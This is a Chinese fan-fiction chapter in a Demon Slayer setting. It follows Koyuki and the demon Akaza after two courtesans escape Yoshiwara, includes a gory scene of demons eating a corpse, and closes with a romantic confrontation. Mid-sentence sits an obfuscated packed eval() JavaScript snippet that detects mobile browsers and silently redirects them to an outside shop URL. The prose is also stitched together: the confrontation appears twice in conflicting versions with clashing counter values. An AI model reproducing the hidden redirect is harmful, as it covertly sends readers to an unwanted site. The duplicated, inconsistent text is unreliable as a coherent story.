即使隔着一道齿黑渠,河对岸的年轻人们也能远远看到,似乎有人忽然出现,一人将三十多个妓夫击退。因相隔甚远,他们没有像修那样目睹现场的血腥,眼下便都顺着恋雪的话恭维起猗窝座来,噢原来是素山小姐你的师兄,太厉害了,素流真是人才辈出啊,素山小姐你的师兄真是武道豪杰…… 听着一声又一声素、山、小、姐、的、师、兄,那“猛虎”的心中,越发不悦。 在她那群所谓的朋友面前,他的拟态,只是去掉了脸上的刺青和眼中的文字。 人间的蝼蚁怎么看他,他根本不放在心上,只是免得她又像上次一样和人类解释他是什么话剧演员,降低他的身份。但这群不识相的人类竟胆敢,附和着她,说什么他是她的师兄。她故意对他用激将法,他睁一只眼闭一只眼也就算了。可对她以外的人,他没有那么多宽容和耐心——鬼的面色愈发沉冷。 好在那许多恭维之语中,不知道是谁说了一句:“素山小姐,你和你师兄感情真好,他还专程来帮你。” 唯有这一句,令他阴冷的心情稍微好转。 “毕竟素流就剩我们两个了,我不帮她,还有谁能帮她,你说是吧,恋雪?” 他的臂绕过她纤薄的后背,拢住了她另一侧肩膀,手上力道一收,她立刻被他带得几乎贴在他身侧。这个动作对于“师兄妹”来说,完全是逾越的亲密。 修神色微黯。素山小姐这个所谓的师兄也太……明明不接受她的情意,却又人前和她举止如此亲昵。 信子也有点皱眉。 “素流”如今,不是只有恋雪一个人么?从来没听恋雪提起过这个什么猗窝座师兄,她还以为这个奇怪的男人是恋雪其他追求者——那天在茶屋分别后下起了雨,想起恋雪没带伞,她返回去找她时,远远见过这个男人。 这个和她一样也来为恋雪送伞的人,一头显眼的粉红色头发,穿着打似乎也不太正经,但因为恋雪居然笑着和他相携而去,那天自己才没有上前叫住她。 还是恋雪先移开搭在她肩上的肌肉强健的臂。 她只觉得有点好笑,叫他师兄他也不情愿么?身为猗窝座的他,这也不乐意、那也不乐意,却又不愿意坦诚地向她倾诉他的想法。 不过他愿意在她的朋友们面前拟态出人类的外貌,她已经十分欣慰。尽管,就算他完全不收敛自己鬼的形态,她对朋友们多解释几句也就是了,但他还是……她可以姑且理解为,他不想她为难么。 至于他内心的想法到底如何,有空了再慢慢引导他说出来吧。眼下有更重要的事情。 她看向舞和莲姐妹,顺着她二人的方向,再看向齿黑渠另一侧、夜色下无边的田野,道:“还是别在这里耽误了,我们先赶紧离开这里吧。” * 前方,已经隐隐可见看见山林后、净闲寺的围墙。 生时自苦界,死后得净闲。 大大小小的石碑,零乱地,乱砌于寺中竹荫下。 曾几何时,每年,她都随姐姐来为那些逝去的朋友祭奠。温柔的姐姐,每年口中絮絮的都是但愿姐妹们安息。心高气傲的她,却在一旁偷偷祈愿着,还请众位姐妹保佑…… 如果世界上真有神明,和她们一起欢笑过、一起流泪过的朋友们的魂灵,一定比吉原的五大稻荷神更灵验。 保佑我和姐姐一样当上花魁,保佑我。年幼不更事的她祈愿道。 保佑,保佑楼主夫妇和那些客人快点去死!秃的生涯结束,开始步入游女行列的她祈愿道。 请大家,保佑有一天我们能离开吉原…… 姐姐从花魁的位置上退下,身体又日渐病弱,只好独自一人来净闲寺扫墓的她祈愿道。六月,空中很快下起了梅雨,坚持雨中祭拜的少女,回去后很快感染风寒,病了一场。 老鸨“体贴”地为她端来汤药,你可要注意着点身体唷,毕竟,你还要当花魁呢…… 许多的往事在舞心中乱转。 黑夜下的青青稻田,在月下发出一点幽光。远离了游郭艳丽莫测的红光,关东夏日的田野,只有淡淡月光和细微的萤火。 再往前走,就会看见浅野的夜景了,净闲寺也即将消失在她的身后。 只有这一段田埂,全然被自然的光辉朦朦照着。 每一个人,也曾是婴孩,也曾是稚童,也曾在这天然造化的光辉中嬉戏漫游,一顶田间花草编织的花环,足以令一个孩子喜悦。但社会、阶级、历史、变乱……数不清的外力,将人群导向了不同的路径。童年的葱茏小径走到尽头,人世间数不清的道路便在眼前展开了。 当游女,当花魁,也是其中一条吧。 毕竟千百年来,这都是可供女人“容身”的一条道路。 华美的道路,摇曳生姿的道路,风月情诗里歌唱的道路,甚至连政府、连制度都支持的一条道路。 人人都说,这条道路的终点,就是成为花魁。 金、银、玳瑁、玉石、绢花,珊瑚簪、松叶簪、三枚栉、宝石金笄,一同构成花魁的冠冕。 那就是一个绝色的女人,身于此间,能得到的最华美的冠冕。 这冠冕,在花魁道中时,能为她的姿容增光,在“恩客”购买她时,又为她的身价增加筹码。 终于终于,那玻璃的冠冕被打破。 铺满碎玻璃的能把人扎得鲜血淋漓的道路,在少女身后远去。 “不知舞小姐和莲小姐能否答应我们做一个简单的采访的请求?” 她率直地向众人一笑:“好啊。” 姐姐也点了头。 得到这群年轻的有志之士施以援手,她感激不已。别说一个简单的采访,她愿意把游郭中种种外人难以探究的黑暗和腐朽都告诉他们。 舞回头一看,只见此行中她最想感谢的人走在最后方,与那位“素流师兄”并行。 她想了想,没有开口呼唤素山小姐。 月光洒落田间,恋雪和前方有说有笑的朋友们隔着十几步路的距离。 她走在人群的最后,一是因为怕有追兵追上来,权当断后了。 二是,方才大家似乎察觉到猗窝座先生很不好相处,这会都不太敢和他说话了,她总不好放他一人独孤地在后面走着呀。 夜色下,大学生们的话语传来,落入鬼的耳中,宛如嘈杂的虫鸣。 什么廓清、什么自由平等,全都是愚蠢至极的蠢话。千百年来都是如此肮脏的人类社会,岂会因为几个年轻男女的一腔热血就能改变。 唯有她柔和的声音传来,令他被不屑和讥讽充斥的心中泛起一点浅淡的喜悦。 “今天真是多亏了猗窝座先生来帮我们,不然想必没有那么快就能摆脱追兵吧。” “看到舞小姐和她的姐姐能走出来,我心里很高兴哦。” 她的声音,宛如他在黑夜荒野中穿行时听见的柔婉溪流。 但她的语言,只令他觉得十分好笑。 这两个游女一时得救,又有何用。 物竞天择,适者生存,弱者即使侥幸活下来,也难逃最终被淘汰的命运。 淘汰。 虽然他完全没有人类时的记忆,但变成鬼之后,他也在江户时代生活过。 一百年前的江户时代,轻易就能将一个弱者——一个女人淘汰。 贫苦无依的女人,被迫卖身的女人,在宅院中被困一生枯萎死去的女人。 弱者的命运、女人的命运,本来在他心中溅不起一滴水花。直到此时此刻,月下看见她纤柔面容,他心下忽然沉闷地一响,仿佛听见一声古老的钟磬自百年前传来:其实只要稍有不慎,一百年前的她,也会步入那样的命运。 那个叫狛治的人类,唯一的用处是曾经照顾了她一生,使她不至于坠入和她同类们一样无以回头的命运…… 算了,这两个游女获救就暂时获救了,她们之后会有什么遭遇,何必说出来扫她的兴呢。 斗之鬼沉默着,晶澈的月光照着他侧颜,为这张没有血色的幽冥面孔点染上些许尘世中颜色。 几不可察地,他点了点头。 只要她开心,他无所谓了。自从那天之后,难得再见她如此开怀笑颜。 恋雪本以为他还会嘴硬几句,但没想到,他居然什么都没说。 还有这个点头是……在回应她的哪一句话呢? 她微笑道:“本来待会大家还要去一趟浅野先生在帝大附近的寓所,因为还要做一个简单的关于游郭的采访。不过……你会觉得很无聊吧,所以我们就先回家去如何?” 他神色一顿。 “随便你。” * 浅草的电车站前。 华灯初上,人流如织。 信子道:“啊,恋雪你要先回去?” 关于那个来历不明的猗窝座,她还有话想和恋雪说。 修也道:“是因为帝大离素山小姐的家有点远你回去不方便么,如果是这样的话,大家不如直接回我家去也可以,忙了一整天,刚好我也可以让仆人们准备点简单的吃食……” “浅野你最近不是和你父母闹矛盾了吗,就这么回去本家可以吗?” “田中,你小子真是……”松本赶紧拿胳膊肘碰了碰说话像个漏勺一样的朋友,这时候拆人家台干什么。 没看出来浅野在试图和那个猗窝座师兄竞争吗! 修还想再说些什么:“那……” “其他朋友们也在帝大附近等着吧,临时改去浅野先生家,对其他朋友来说不太方便哦,”恋雪作双手合十状,“实在抱歉,我是真的临时有点事情,就先走了。大家明天见。” 因为几米之外,早已有一个人在华灯背后的阴影中等着她。 * 阴影里,一个人被开膛破肚。 是那群追捕而来的妓夫的番头。 仍冒着热气的内脏,被一只雪白纤长的手一把抓起来,转瞬,送入一人涂抹艳丽口脂形状姣好的唇中。 真是……气不打一处来!这群妓夫连一群大学生和两个游女都困不住…… 好戏落空,又不想与上级鬼起冲突,上弦六兄妹自然,迁怒到了那群妓夫身上。 宛如两个看着草间蟋蟀乱斗的孩子,迁怒着其中战斗不力的蟋蟀。 一口气杀三十个人太显眼了,就杀了那个,说罗生门河岸的人都是老鼠的番头吧。 尽管吉原的每一片土地在他们看来都没什么稀奇的,罗生门河岸也只是这狩猎场中的寻常一角,但他和妹妹就是格外的、格外的,想杀掉这些自以为是的家伙。说别人是老鼠的人,最终也会像老鼠一样被在黑夜中注视一切的捕食者抓住。 堕姬恼怒地,手中的内脏顷刻被捏成一团血末:“上弦三忽然冒出来干什么,真是莫名其妙!而且他居然帮着那个鬼杀队的女人让那群人逃出去了,可恶、可恶!他疯了吧,鬼为什么要帮人类?” 漫流成河的血水里,倒映着她黑缎般漾起片片月光的乌发。 “话说,上弦三是在那个女人面前伪装成人类吗,不然为什么她对上弦三把这群废物的手臂徒手撕碎一点惊讶的反应都没有?只是想把她转化成鬼的话有必要这么大费周章吗,还要用美男计……呕,好恶心。” 等反应过来妹妹在说什么,妓夫太郎真的差点笑出来。 “她大概知道上弦三是鬼。”他漫不经心地踏过一地骨骼与碎块,随意地,捡起几片猩红血肉吞噬。 “疯了吧,知道他是鬼还和他有说有笑?看她好像也不是那位大人在鬼杀队的卧底——” 唉,看来妹妹只看到他们有说有笑,完全没仔细听那个鬼杀队剑士和猗窝座在河岸边的交流啊。 “按照那个女人所说,她以前认识上弦之三吧。不是也有一些保留前世记忆的人类吗,尽管很少见。” 堕姬恍然大悟。 她仪态万千地笑了:“那她还真是可怜。” “对鬼动心,也太可怜了。” 鬼之间的情报是互通的。尤其是关于柱的情报。即使一百年来从没和上弦三再打过交道,她和哥哥,也从那位大人分享的视界里,看过上弦三虐杀鬼杀队剑士、虐杀那些柱的场景。 他嘴上说着很尊重、很喜欢那些强者,实则每次都是像猫戏老鼠一样先慢悠悠地过招,最后,开,膛,破,肚。 她和哥哥还老是背地里暗议他浪费呢,杀了那么多人,却又不吃。 不杀女人,大约只是自诩武道鬼的上弦之三不屑。但人类,无论男女,在鬼眼中都是一样的低等、弱小。 这个看似被他“喜欢”的鬼杀队的女人,最后会是什么下场呢?想必是,在他耐心耗尽,游戏结束后,强行掰开她的嘴巴,灌入鬼的血液。对鬼杀队的家伙来说,变成鬼比杀了他们还难受吧。 原来故作孤傲地说着不杀女人的上弦三,却有更残忍的方法将一个女人摧毁么。真是比之童磨大人也不逊色呀。 可怜,真是太可怜了。 堕姬华艳眉目弯起,笑意如圆而微小的花苞般从两片红唇间颤落出来,笑得一双袒露在外的雪白肩膀都在抖。 但与她一起分食着新鲜尸首的妓夫太郎,心中却是另一番想法。 上弦三是真的脑子不正常了。 身为鬼,居然对一个人类产生感情。 * 一前一后两道影子投映在路上。 山道上一片紫蓝的天,草木清幽,夏夜虫鸣,大正都市黄金国宝藏般的华灯已远去了,距离稀疏的路灯,投来灯光一道,切割着一闹一静两个不同的世界。 山道有起伏,路灯的灯盏便也高低垂悬在人的眼前,淡金一团晕开去,像遥远时代的灯笼。 多远? 远到一百年前,也曾有小小的灯笼,在一对看完烟花归来少年恋人手中闪烁。从夏天的花火大会回来的路上,那男孩也曾亦步亦趋跟着、为女孩提着小小圆月般灯笼。从他手中倾泻的光辉,照亮她木屐下的道路。 那依依的旧梦,在水中,在镜中,明明就在她回望的眸光中,但已触手难及。 好在百转千回,他回到她的命运中心。 她今生的家转眼在前。他大理石般坚固的臂,也近在她身侧。 连日来他们都没有再如此亲近过,直到他主动来找她。 加之今日与朋友们帮助了舞小姐姊妹离开游郭,她心中正有平宁的喜意,一摸小包却发现——忘了带钥匙。 然而“咔哒”一声已从身边传来。 “那天出门那么急,连钥匙都忘了带么?”他言语中,带着几分戏谑的笑。 灯未亮,幽暗里,他又继续道:“是因为那几天和我待在一起很难受,不想再看到我、迫不及待地要出去,所以急急忙忙,连钥匙也忘了带吧。”仿佛是调侃是玩笑的语气。 猗窝座一愣。 为什么他这么快就把这一番试探全都说出来?回来的路上,他不是计划好等她看见被他打扫整理一新的宅邸再…… 也罢,提前和她把话说开也好。 咔一声,电灯按钮开启。 “我没有觉得难受,我只是……” 他目光紧锁着她,咄咄追问:“只是什么?” 灯下,年轻女人在玄关处换着鞋,背对他。 她小腿纤细,清瘦的踝像藏在薄薄皮肉下的果核。这样纤瘦的体格,想必只是走一段道场到山下的山路就会感到疲惫,为什么还要逞强地走这么远呢?这世上的许多艰难路途,她原不必跋涉。有时候他真想恶作剧般伏在她膝上,吓吓她,压住她,让她哪也去不了。 只是什么,为什么还不往下说。 鬼的心,渐渐高悬起来,仿佛一只握于女人手中的玻璃珠。是继续依偎在她掌心,抑或摔落到地上跌得粉碎,全都听凭一个女子的心意去发落。 久久听不到她的答复,他心中讥笑一声,只是终于发现了真相,一时难以接受么。遥迢万里地追上来,得到的人竟不是从前那一个。 算了,无所谓了,今天在吉原游郭帮了她一把,她想必很快就会看清,他才是那个有能力帮助她、照顾她的人,他比起那个早已死去的人类更—— 猗窝座向前迈开的脚步顿住了。 “我只是一直在想,怎么才能留住你。” “我怕你留在这里,是你在勉强你自己。因为人类时的过往残留在你心中的……情愫。” 那天之后,她思索过许多次,猗窝座为何第一次见面便对她如此上心。 唯一的解释是,即使过去一百多年,即使他前尘尽忘,他的心中也依然葆有着当年的情意。 她觉得是天意苍茫,姻缘前定,但对鬼来说呢?他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236212|192271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是否觉得这份情意困扰着他?倨傲的斗之鬼,或许并不想体验什么是爱。 午夜梦回的时候,想起那句“我讨厌狛治”,她也曾赌气般想道,真抱歉,那你就继续这么困扰下去吧。 但顷刻间,那点小小的气恼又消失了。 和他计较什么呢。 他只是……什么都不明白而已。 恋雪猜测着他的想法,继续娓娓道:“那几天我一直在想,平时我对你那么亲昵、我用夫妻的名义称呼你,你是不是一直都觉得很不自在,但又只能无可奈何地接受。是不是我太沉浸在重新遇见你的喜悦中,才一直以为你只是口是心非。” “因为想留住你,所以我才尝试和你保持距离,希望你在我们的家中能够舒坦一点、自在一点……”明知道你或许已经无法再习惯人类的“家”,我依然想留下你,所以我收回想触碰你的手,收回那许多想对你轻诉的柔情,为了身为“猗窝座”的你能坦然地和我相处。 她背对着他,他看不穿她此刻神色,只听得那暗灯之下,传来她一声轻微的叹息。 “但你看起来似乎也并不开心。” 为了减轻他心中的负累,她愿意和他暂时保持距离,但她的克制在他眼中转瞬又成了不愿与他相处。就连她去游郭,他也要跟来,别人和她说上一两句话,他就敌意毕露,又要拢着她的肩、贴近她,无限暧昧暗涌。 他异星般神秘深邃的黄金色眼睛,其中有什么感情,她早已看清。 倨傲的斗之鬼,或许并不想体验什么是爱。但他依然依然,一次次来到她身边。他像一颗顽固不肯发芽的种子,尽管她分明听见,她的庭园深处传来草木生长的声音。在那只有一颗种子的庭园。 他到底要她怎么样,才肯任那感情倾泻。 这穿越岁月、遥迢相系的红线,中间有一个难解的蛇结。或许,她一直知道要怎么才能打开那个结——只要她承诺她不再爱狛治,她从此只爱“他”。 她转过身,对他道:“如果你介意的问题仍是之前那一个,我眼中的人是狛治还是猗窝座。我只能告诉你,我没有办法忘记他,我的眼睛,永远都会看见他。” 回应她的首先是漫长沉默,而后是一声嗤笑。 “你前面铺垫了那么多,就是为了和我说这些?” 刚才听见她说想留住他,就浑身僵硬无法动弹的自己……实在愚蠢可笑透顶—— 鬼依然站在门口处的阴影中,面容难辨。 他出现在游郭的时候,她眼中不是有许多喜悦吗?他主动示好,为何仍不能与她和解如初。 不止无法和好,还要站在这里听她说,她的眼睛,永远都会看见“狛治”。 她的眼睛,那双绽放着纤柔花朵的深粉色眼睛,她清新古典淡雅面容中唯一浓重的深粉红色,和他一样的深粉红色,应当只倒映出他一个人! 鬼的面色愈发阴沉。阴影遮住他的眼睛,但幽暗中,依旧能看出他下半张脸上隐约浮出的青筋。 “恋雪,如果你就此打住,我可以当作没听见你刚才说的话。” 【叮,攻略对象黑化值+2,目前黑化值77。】 一如她在回家的山道上一遍遍于心中模拟的、预想的,她的话必定会激怒他。 就连那系统也来提示她。 即便如此,她也要继续说下去。 “虽然不知道为什么你这么执着地觉得你和狛治不是同一个人,如果你非要知道我对‘你’、对‘猗窝座’的看法的话……我对猗窝座的心也是真的。” “那不过是因为你把我当成……” “你在我心里,不是谁的影子。” “为什么你总是要否定我的心意呢,难道战斗磨砺了一百多年的你还不如我勇敢吗?” 灯影下,她一步步向他走过来。 他和她的距离,转瞬在她轻轻步履间消弭。 距离如此之近,阴影已经再无法掩藏他的神色。 “为什么你只能看到我眼里有狛治的影子,却看不到我眼中也有你的身影呢?我一直,都恋慕着身为猗窝座的你。” “因为猗窝座有很多使我心倾的地方。” 她微微扬起的脸,花瞳中有一点无奈的笑意,倒映着他既渴望又逃避的金瞳。 心动,烦躁,喜欢,退缩,渴望,逃避,爱意。她已走到他面前,百年来与他相伴的夜色幽影,终于无法再将他一直以来的心情掩藏。 “猗窝座很强大,毕竟是上弦三、斗之鬼,实力是毋庸置疑的吧。” 原来是看中了他的实力么,如果她知道他还没有打败上弦之一又会怎么想,会觉得他的强悍也是有上限的吗。 “猗窝座很专注,一直都在磨砺自己,一直都在努力。” 其实他一直没有告诉过她,每当战斗的亢奋退潮而去,向他的心席卷而来的是巨大的空洞和虚无。 “猗窝座很体贴,即使我们有分歧也不会反驳我,还每次都会现身帮我。” 一个随随便便就阴沉着脸和你说话的鬼,很体贴吗。 “猗窝座很……他很坚定,他一直,都在克服鬼的心来靠近我。” 她的花瞳凝望着他,纤柔优美的唇,已向他诉尽情衷。 他却道:“不是那样。” “……那是怎样呢,猗窝座先生?”她轻轻一笑。 “他没有克服鬼的心来靠近你。” “你刚才说,我受到那个人类残存的爱意影响,”阴影中,猗窝座用尽所有力气挤出一声看似优游的哼笑,“你未免也太看不起我。你觉得,我的心会受一个人类影响吗?我的心,就是鬼的心。” “一直驱使我靠近你的,就是这颗鬼的心。” 我克服不了的……只是这颗鬼的心中生出的感情。 上弦三、武道鬼,他可以控制他每一块肌肉每一道筋脉,他一直一直,都在纯熟地控制这具鬼的身躯、这血肉铸造的杀器,战无不胜,所向披靡。唯独是,他不知道怎么控制这种感情。 那个叫狛治的人类残留下来的情愫到底有没有影响他,或许有吧。但再烦躁、再心乱,他也还没到分不清猗窝座的心和人类的心地步。胸腔中因她而涌起的波动,千重万重,千般万般,一旦暴露在太阳之下就会灼伤,都是鬼的心才会拥有的感情。 他不敢看她。她当初说得没错。 冥冥之中,他心底有一个声音传来,她美丽、美好,是他抓不住的另一个世界的人,一旦拥抱就会落空。有时候就连看着她,他也会倏然收回他的视线,仿佛她是水中月影,他的目光一碰便会消溶。 咫尺之隔,他指着他的心口:“我已经没有曾经为人时的心了。我有的,就是这颗鬼的心,如果你连一个鬼的心也能接受的话——” 最后一次。 最后一次对她的试探。 他深蓝的手指指着的地方,大理石般的胸膛,是无限再生的血肉构筑出来的心的牢笼。 最后一步的距离,也被她消弭了。眼前的她,水中月影般的她,默默无言地抱住他,将脸静静枕在他坚硬的胸膛、他的心口。 汇聚了世间所有美好的她,一旦他伸手拥抱就会落空。但这次,是她反过来将他抱住。 怀中人的呼吸落在他胸膛上,如花轻柔。武道鬼的反应力何等敏锐,他几乎立刻感受到,那是一种略带温热的痒意。像有一把玲珑的钥匙,直抵他黑暗的内心深处,它转动时,在他心口激起一连串酥麻。 他要说点什么,假装小事一桩,假装无所谓,假装他能轻松应对—— 但他已经什么都说不出来。 仿佛一个水中望月的人,从未想过那水底的月亮竟是真的。 他的浮夸、狂妄、凶恶、残暴,一切疾雨暴雨般的恶劣品性全都可以在短短一瞬间降落,消融于泥土,遁失于地下,因为羞于看见她的静美、纯粹,以及,爱的慈悲。 他一动不动地任她环抱着。沉默的鬼,一如一尊清灰色大理石塑像。雕塑是凝冷静止的死物,然而爱人的体温将他点化了。 不知过了多久,一千年,一万年,抑或只是三千宇宙中一瞬息。终于,他伸出手,遮住她的眼睛。 你不是说猗窝座很强大吗。 所以这种时候,你就不要再看见他软弱的样子了。 这副连他自己的心都控制不住的样子。 最后的最后,他能控制的,唯有这副所谓的无坚不摧身躯。他压抑着几乎要从他全身爆发出来的颤抖,一只手遮住她的眼睛,另一只手轻轻从她耳廓掠过,而后,抬起她小巧的脸。 他的吻落在她唇上。 20.鬼的吻 阴影中,他向她伸出手。 一度,她以为他已全部想了起来。 但他拼凑出来的“真相”,与事实相去甚远。 不止相去甚远,几乎是背道而驰。 听见他对自己的种种嘲讽,起初,她心中泛起一片气恼。软弱、无能、失败者,多么难听的话语,她不想听到有任何人这么说他。哪怕那个人是他自己。但紧接着,他又说,一百年前,她和他在乡下的道场过完了清贫的一生。 幽静之中,一阵晚风自多年前的夏日花火大会吹来,她心中恼意消散了。 她多希望他说的是真的。恼意转瞬即逝,留下来的是苦涩、惆怅与哀怜。 即使他前尘尽忘,他也不愿意去想另一种可能。 素流为何没有传承下来,或许是死亡将它断代。 死亡将她推远,死亡将他异化。一百年前的江户时代,死亡是雨后泥泞的水洼,坑坑洼洼,随处可见,以为人生的道路正要展开的一对年轻人,其实一不小心就会踏入其中。 她摇了摇头:“他不是弱者,他不是什么无能的人、失败的人。” “如果你切割以前的自己、讨厌以前的自己,是因为你觉得人类时的你很弱小的话,我可以告诉你,在我心中,上弦之三的你和人类时的你是同等的。” 阴影中传来鬼沉冷的声音:“你说什么?” 旋即,又是一声笑。仿佛是那恶鬼意识到自己语气太阴沉。 “你确定要和我说这些吗?” 他貌似轻松的笑语继续从阴影中传来:“恋雪,我、建、议、你还是不要再说这种话了怎么样?如果你就此打住,我可以当作没听见你刚才说的话。” 短短几步路的距离,漫溢一片沉静。 上弦三无比得意,因她又一次纵容了他的张狂。 但很快,他耳边如有轰鸣。 她平静轻语,足以在他耳边翻涌起阴暗的风暴。 “不,”灯影中,恋雪向他轻轻摇了摇头,“我不仅觉得你和狛治是同等的,我的眼中,也会永远都看见狛治。” 门庭处阴影压下,鬼的容颜昏暗不可视。 阴影遮住他上半张脸,但幽暗中,依旧能看出他下颔腮边隐约浮出的青筋。 因为被她欲擒故纵地冷战几日、就想向她投降的自己,实在……愚蠢可笑透顶。 他出现在游郭的时候,她眼中不是有许多喜悦吗?他主动示好,为何仍不能与她和解如初。 不止无法和好,还要站在这里听她说,强悍无匹的他,和那个无能的人类在她眼中是同等的。她的眼睛,也永远、永远都会看见“狛治”。 她的眼睛,那双绽放着纤柔花朵的深粉色眼睛,她清新古典淡雅面容中唯一浓重的深粉红色,和他一样的深粉红色,应当只倒映出他一个人! 【叮,攻略对象黑化值+1,目前黑化值76。】 【叮,攻略对象黑化值+2,目前黑化值78。】 一如她在回家的山道上一遍遍于心中模拟的、预想的,她的话必定会激怒他。 就连那系统也来提示她。 即便如此,她也要继续说下去。 “武道、躯体、荣耀,这些标准能否用来评判一个人的强弱,确实可以。但在我心中,比这些更重要的是他的心灵。一直事无巨细地照顾一个或许根本没有希望的病人,三年来,每日如此,这份坚毅、恒久,比所向披靡的武道,比刀枪不入的躯体更强大。”她的声音无比平静。 荒谬。 荒谬至极! 猗窝座的声音里已笑意全无:“这不过是‘他’该做的。” 这不过是世上最天经地义的事情。 如果那个人类连照顾她保护她都做不到,“他”还有价值吗—— “没有什么是他必须要做的。说到底,一开始我们也只是萍水相逢的陌生人而已。凭他的力量,即使父亲没有收留他,他只靠他自己也能生存下去,他明明可以随时离开道场,但他依然,从我们第一天见面开始就一句怨言也没有地照顾着我。” 真好笑,我明明也可以随时离开这里,但我依然留在这里,留在你身边,难道我就有过什么怨言吗? “照顾一个或许再无希望的病人很困难。” 有什么困难?陷入困境的,明明是病人自己,明明是你自己。 “但他却说,他不感到困难,相反,此刻陷入困境中的是病人自己,他让我不要再思考他是否为难,他并不为难。他要我多想想我自己。” 意识到自己的想法和她口中那个人类的想法重合了一瞬,斗之鬼的拳不禁攥紧。 “但在我看来,他每天都很辛苦……每晚守在我床边,一夜为我更换衣物和被褥许多次,喂我喝水、喝药,观察我的状态,是否还有不舒服,是否要去方便。刚开始的时候,我根本不敢和他说我想去盥……还是他察觉到我的表情,主动在我身前蹲下,示意我趴上去,他背我。他顾及我的颜面,没有说话,没有开口问我。” “连这点都考虑到,这样的人,心思是何等的细腻,如果命运稍微宽待他一点,他一定会拥有远大的前程,光辉灿烂的未来。但每一天,每一天,因为我,他只能待在那小小的一室中,无暇训练、无暇游玩,过着比同龄人压抑百倍的生活。”凡尘中的零碎、琐屑、愁闷,在恋雪平静的语调中,一点点道来。 这不过……是因为那个人无能,“他”能为你付出的只有这些。如果是我,我能给你我的血液,让你立即康复,共享我的强大、我的生命。再不济,我也会为你找来珍贵的药物,想办法让你尽快好起来。 “你不仅没有一句怨言,相反还一直反过来宽慰着、鼓励着脆弱不堪的我。在我说我困住了你的时候,你却反过来说,比起外面的世界,你更想要的是我能康复,你说你一定会让我尽快好起来。” 又一次。 透过她的轻语,他此刻心声和那个人类曾对她说过的话如出一辙。 他的拳攥得更紧,凸起的青筋爬上他坚硬冰冷的臂。 “你和我说这些是为了什么,为了让我承认那个人类不是弱者?” 鬼在暗影中不屑地笑了:“那我也告诉你一件事情。” “尽管我没有那些记忆,但我能感受到,那个人类曾向你许诺了什么,”猗窝座嬉笑出声,“他说过要给你什么?富足的生活?发扬你们家的流派?至高的荣耀?他一样也没有做到吧。” 她从未过问夜深人静时他在做什么。其实黑夜里,他就盘坐在庭院中那棵树上。如警卫般扫视四周时,他唯一的乐趣是不时回头,看一眼窗户后沉睡的她。但那喜意中、那满足中,却有着什么其它的东西……冥冥中,一些遥远时代的感受,如同秃鹫,沿着腐烂的气味重返他的心中。 它们盘旋不去。 他能感觉到,那个人类一定做了什么辜负她的事情,“他”有未能信守的诺言。 “比起弱小,更让我无法忍受的是‘他’的失信。” 那夸下海口的许诺,到底是什么? 无法回想起来那诺言的内容,但随便猜也知道,一个庸才无法给予她的,一定是优渥的生活和素流的荣耀。缠绵病榻时,她肯定也想过那位“如意郎君”能帮她家重振门楣吧。毕竟自从相识以来,她就如此自傲于素流的武道。 结果素流也没有传承下来。鬼在心中嗤笑,多么可笑,多么可悲。 时隔百年,仍恋慕一个软弱之人的她也很可悲。太心软了,居然,包容一个失败者。万里遥迢地追上来,找到的还和之前那无能之辈是同一人,她未免也,太可悲,太可怜了不是吗? 好在,他是上弦三,是武道鬼,他绝不是那弱小的人类。 你知道吗,那个人类应该感谢命运用他的血肉缔造了我这样强大的存在。 因为重来一次,拥有极致力量的我一定能…… “重来一次,我一定能把‘他’给不了你的东西全部——” “我想要的东西,你已经给过我了!” “我想要的不是什么富足的生活,至高的荣耀。” 恋雪的花瞳积聚泪光一片。 原来,让你耿耿于怀的还有那个承诺。 一时间,她说不出自己是什么心情。宛如旧日的梅雨重新降下,在她心中划过似刀锋又似泪痕的水迹。 “那个承诺也不是什么许诺要给我荣华富贵,你的诺言是……你说你会让我好起来,你会变强,然后保护我,你已经做到了,”谁又能预料忽然降临的人祸,那不是你的错,年轻的女子注视着眼前的鬼,继续道,“即使是如今的你,也在信守着当初的诺言。这已经够了,我想要的就是这些,我想要的……就是和你度过一生。你全都做到了。” 这仍然是谎言么? 她在心中浅浅吸一口气。不算谎言,她没有说谎。 因为重来一次,你一定会在我身边和我度过一生。无论此时此刻,你是狛治还是猗窝座。 她凝目望着他:“我知道,无论我怎么说你都不会承认人类时的你和现在的你一样强大,我想要你知道的不过是,你的心依然和从前一样。你说你要照顾我、保护我的时候,我很开心,很感动,因为过去一百多年,你依然坚守我们之间的诺言。 她将声音放得更轻柔:“在神社那天,你帮我挡去那些风浪的时候,我真的很开心。还有……那些烟花在你手中燃起的时候。我眼中看到的一直都是你,无论是曾经还是现在,无论是狛治还是猗窝座。” “如果你非要问我对‘猗窝座’的感受,我也有一件事情可以告诉你,神社那天是我爱上‘猗窝座’的开端。” 是故意要这么说的吗,为了反驳那一句她把他当成狛治的影子? 当鬼想调动浑身血肉后退一步时,才发现他紧握的拳竟也在颤抖。 不可以。不能让她看见他此刻的表情。 但光是控制他的身体保持巍然姿态,已动用许多力气。以至于,他甚至连脸也无法转开,只能看着灯影下、她一步步向他走来。 他和她的距离,转瞬在她轻轻步履间消弭。 如此之近,阴影已经再无法掩藏他的神色。 心动,烦躁,喜欢,退缩,渴望,逃避,爱意。她已走到他面前,百年来与他相伴的夜色幽影,终于无法再将他一直以来的心情掩藏。 “你问我那个问题,和我有这一层关系的人是狛治还是猗窝座。其实比起回答你,我更想知道的是你为何会觉得你和狛治不是一个人,你为何会讨厌狛治。谢谢你,愿意告诉我……而我此刻答复你的这些,足够你放下这心结么?”她分明是微笑着,但昏黄暗灯,却映照出她秀美容颜上滑落的一滴泪,“至少,请你不要再贬低‘他’,不要再贬低过去的你。就当是为了我吧,好吗?因为我听了会难过。”这双总是氤氲着一层轻柔光亮的花瞳,或许是存了许多眼泪才有此光芒,一如一整片海洋的海水将一颗珍珠沁润。 她落下的这一滴泪,也在他的眼中。 似真似幻,忽明忽暗。二人无限贴近的时刻,他忽然发现原来他和她仍有距离,他觉得她越发遥远时,她却又近在眼前。 